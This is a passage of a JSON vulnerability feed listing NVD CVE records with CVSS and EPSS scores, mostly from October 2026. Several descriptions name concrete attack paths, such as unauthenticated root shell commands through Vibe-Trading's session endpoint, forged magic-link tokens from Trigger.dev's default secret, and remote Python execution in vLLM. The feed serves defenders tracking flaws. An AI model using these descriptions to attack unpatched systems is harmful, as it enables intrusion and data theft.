exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114108","cveId":"CVE-2026-114108","aliases":[],"kind":"vulnerability","title":"HKUDS Vibe-Trading from 0.1.0 before 0.1.7 contains a missing authentication vulnerability that allows unauthenticated attackers to access the FastAPI surface because...","summary":"HKUDS Vibe-Trading from 0.1.0 before 0.1.7 contains a missing authentication vulnerability that allows unauthenticated attackers to access the FastAPI surface because require_auth() returns early when API_AUTH_KEY is unset. Attackers can post messages to /sessions/{id}/messages to trigger root shell commands via BashTool, upload .py or .sh files via /upload, read session histories, and obtain partial API keys.","detail":"HKUDS Vibe-Trading from 0.1.0 before 0.1.7 contains a missing authentication vulnerability that allows unauthenticated attackers to access the FastAPI surface because require_auth() returns early when API_AUTH_KEY is unset. Attackers can post messages to /sessions/{id}/messages to trigger root shell commands via BashTool, upload .py or .sh files via /upload, read session histories, and obtain partial API keys.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T01:17:36.820Z","updatedAt":"2026-10-22T17:40:46.877Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114108","asOf":"2026-10-22T17:40:46.877Z"},"epss":{"probability":0.00357,"percentile":0.29112,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114108&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114108","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114108","type":"primary","publishedAt":"2026-10-21T01:17:36.820Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114108&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114108, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114087","cveId":"CVE-2026-114087","aliases":[],"kind":"vulnerability","title":"Trigger.dev before 4.5.6 self-hosted Docker Compose deployments using the default secrets from hosting/docker/.env.example allow authentication bypass because the hardcoded...","summary":"Trigger.dev before 4.5.6 self-hosted Docker Compose deployments using the default secrets from hosting/docker/.env.example allow authentication bypass because the hardcoded MAGIC_LINK_SECRET lets anyone forge valid magic link tokens. Unauthenticated attackers can log in as any email address, then reach Postgres, Redis, and ClickHouse with default credentials from runner containers on infrastructure networks, compromising all tenant data.","detail":"Trigger.dev before 4.5.6 self-hosted Docker Compose deployments using the default secrets from hosting/docker/.env.example allow authentication bypass because the hardcoded MAGIC_LINK_SECRET lets anyone forge valid magic link tokens. Unauthenticated attackers can log in as any email address, then reach Postgres, Redis, and ClickHouse with default credentials from runner containers on infrastructure networks, compromising all tenant data.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T01:17:33.450Z","updatedAt":"2026-10-22T16:17:33.827Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Docker and containers"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114087","asOf":"2026-10-22T16:17:33.827Z"},"epss":{"probability":0.00512,"percentile":0.43409,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114087&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114087","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114087","type":"primary","publishedAt":"2026-10-21T01:17:33.450Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114087&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114087, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114053","cveId":"CVE-2026-114053","aliases":[],"kind":"vulnerability","title":"vLLM from 0.7.3 before 0.31.0 forwards the request-supplied mm_processor_kwargs.code_revision to Transformers AutoProcessor.from_pretrained, letting clients select which revision...","summary":"vLLM from 0.7.3 before 0.31.0 forwards the request-supplied mm_processor_kwargs.code_revision to Transformers AutoProcessor.from_pretrained, letting clients select which revision of a model's dynamic processor code is imported when trust_remote_code is enabled. An attacker controlling a revision in the served model repository can send a multimodal request to the unauthenticated /tokenize endpoint to execute arbitrary Python in the vLLM API process.","detail":"vLLM from 0.7.3 before 0.31.0 forwards the request-supplied mm_processor_kwargs.code_revision to Transformers AutoProcessor.from_pretrained, letting clients select which revision of a model's dynamic processor code is imported when trust_remote_code is enabled. An attacker controlling a revision in the served model repository can send a multimodal request to the unauthenticated /tokenize endpoint to execute arbitrary Python in the vLLM API process.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T01:17:28.083Z","updatedAt":"2026-10-22T15:44:59.783Z","regions":["Global"],"vendor":null,"product":null,"stacks":["vLLM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114053","asOf":"2026-10-22T15:44:59.783Z"},"epss":{"probability":0.00462,"percentile":0.39752,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114053&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114053","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114053","type":"primary","publishedAt":"2026-10-21T01:17:28.083Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114053&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114053, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-92559","cveId":"CVE-2026-92559","aliases":[],"kind":"vulnerability","title":"IBM App Connect Enterprise 13.0.1.0 through 13.0.8.2 could allow a remote attacker to obtain sensitive information due to binding to an unrestricted IP address.","summary":"IBM App Connect Enterprise 13.0.1.0 through 13.0.8.2 could allow a remote attacker to obtain sensitive information due to binding to an unrestricted IP address.","detail":"IBM App Connect Enterprise 13.0.1.0 through 13.0.8.2 could allow a remote attacker to obtain sensitive information due to binding to an unrestricted IP address.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:21:07.190Z","updatedAt":"2026-10-23T12:18:18.907Z","regions":["Global"],"vendor":null,"product":null,"stacks":["IBM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-92559","asOf":"2026-10-23T12:18:18.907Z"},"epss":{"probability":0.0053,"percentile":0.4453,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-92559&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-92559","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92559","type":"primary","publishedAt":"2026-10-20T22:21:07.190Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-92559&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-92559, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91624","cveId":"CVE-2026-91624","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).","summary":"Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Agile Product Lifecycle Management for Process accessible data as well as  unauthorized access to critical data or complete access to all Oracle Agile Product Lifecycle Management for Process accessible data. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).","detail":"Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Agile Product Lifecycle Management for Process accessible data as well as  unauthorized access to critical data or complete access to all Oracle Agile Product Lifecycle Management for Process accessible data. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:21:02.347Z","updatedAt":"2026-10-21T18:45:11.277Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91624","asOf":"2026-10-21T18:45:11.277Z"},"epss":{"probability":0.00249,"percentile":0.16075,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91624&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91624","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91624","type":"primary","publishedAt":"2026-10-20T22:21:02.347Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91624&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91624, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91622","cveId":"CVE-2026-91622","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).","summary":"Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Agile Product Lifecycle Management for Process, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Agile Product Lifecycle Management for Process accessible data as well as  unauthorized access to critical data or complete access to all Oracle Agile Product Lifecycle Management for Process accessible data. CVSS 3.1 Base Score 9.3 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N).","detail":"Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Agile Product Lifecycle Management for Process, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Agile Product Lifecycle Management for Process accessible data as well as  unauthorized access to critical data or complete access to all Oracle Agile Product Lifecycle Management for Process accessible data. CVSS 3.1 Base Score 9.3 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:21:02.110Z","updatedAt":"2026-10-21T18:44:55.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91622","asOf":"2026-10-21T18:44:55.490Z"},"epss":{"probability":0.00237,"percentile":0.14536,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91622&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91622","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91622","type":"primary","publishedAt":"2026-10-20T22:21:02.110Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91622&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91622, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91495","cveId":"CVE-2026-91495","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle WebCenter Content product of Oracle Fusion Middleware (component: Content Server).","summary":"Vulnerability in the Oracle WebCenter Content product of Oracle Fusion Middleware (component: Content Server).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebCenter Content.  Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Content. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle WebCenter Content product of Oracle Fusion Middleware (component: Content Server).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebCenter Content.  Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Content. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:54.100Z","updatedAt":"2026-10-21T18:45:11.277Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91495","asOf":"2026-10-21T18:45:11.277Z"},"epss":{"probability":0.0045,"percentile":0.38826,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91495&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91495","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91495","type":"primary","publishedAt":"2026-10-20T22:20:54.100Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91495&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91495, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91491","cveId":"CVE-2026-91491","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: LDAP Gateway).","summary":"Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: LDAP Gateway).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via LDAP to compromise Oracle Identity Manager Connector.  Successful attacks of this vulnerability can result in takeover of Oracle Identity Manager Connector. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: LDAP Gateway).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via LDAP to compromise Oracle Identity Manager Connector.  Successful attacks of this vulnerability can result in takeover of Oracle Identity Manager Connector. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:53.617Z","updatedAt":"2026-10-21T18:45:11.277Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91491","asOf":"2026-10-21T18:45:11.277Z"},"epss":{"probability":0.00331,"percentile":0.26005,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91491&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91491","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91491","type":"primary","publishedAt":"2026-10-20T22:20:53.617Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91491&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91491, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91490","cveId":"CVE-2026-91490","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: LDAP Gateway).","summary":"Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: LDAP Gateway).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via LDAP to compromise Oracle Identity Manager Connector.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Identity Manager Connector accessible data as well as  unauthorized access to critical data or complete access to all Oracle Identity Manager Connector accessible data. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).","detail":"Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: LDAP Gateway).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via LDAP to compromise Oracle Identity Manager Connector.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Identity Manager Connector accessible data as well as  unauthorized access to critical data or complete access to all Oracle Identity Manager Connector accessible data. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:53.507Z","updatedAt":"2026-10-21T18:45:11.277Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91490","asOf":"2026-10-21T18:45:11.277Z"},"epss":{"probability":0.00377,"percentile":0.31404,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91490&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91490","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91490","type":"primary","publishedAt":"2026-10-20T22:20:53.507Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91490&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91490, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91408","cveId":"CVE-2026-91408","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware (component: End User Self Service).","summary":"Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware (component: End User Self Service).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3, IIOP to compromise Oracle Identity Manager.  Successful attacks of this vulnerability can result in takeover of Oracle Identity Manager. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware (component: End User Self Service).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3, IIOP to compromise Oracle Identity Manager.  Successful attacks of this vulnerability can result in takeover of Oracle Identity Manager. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: 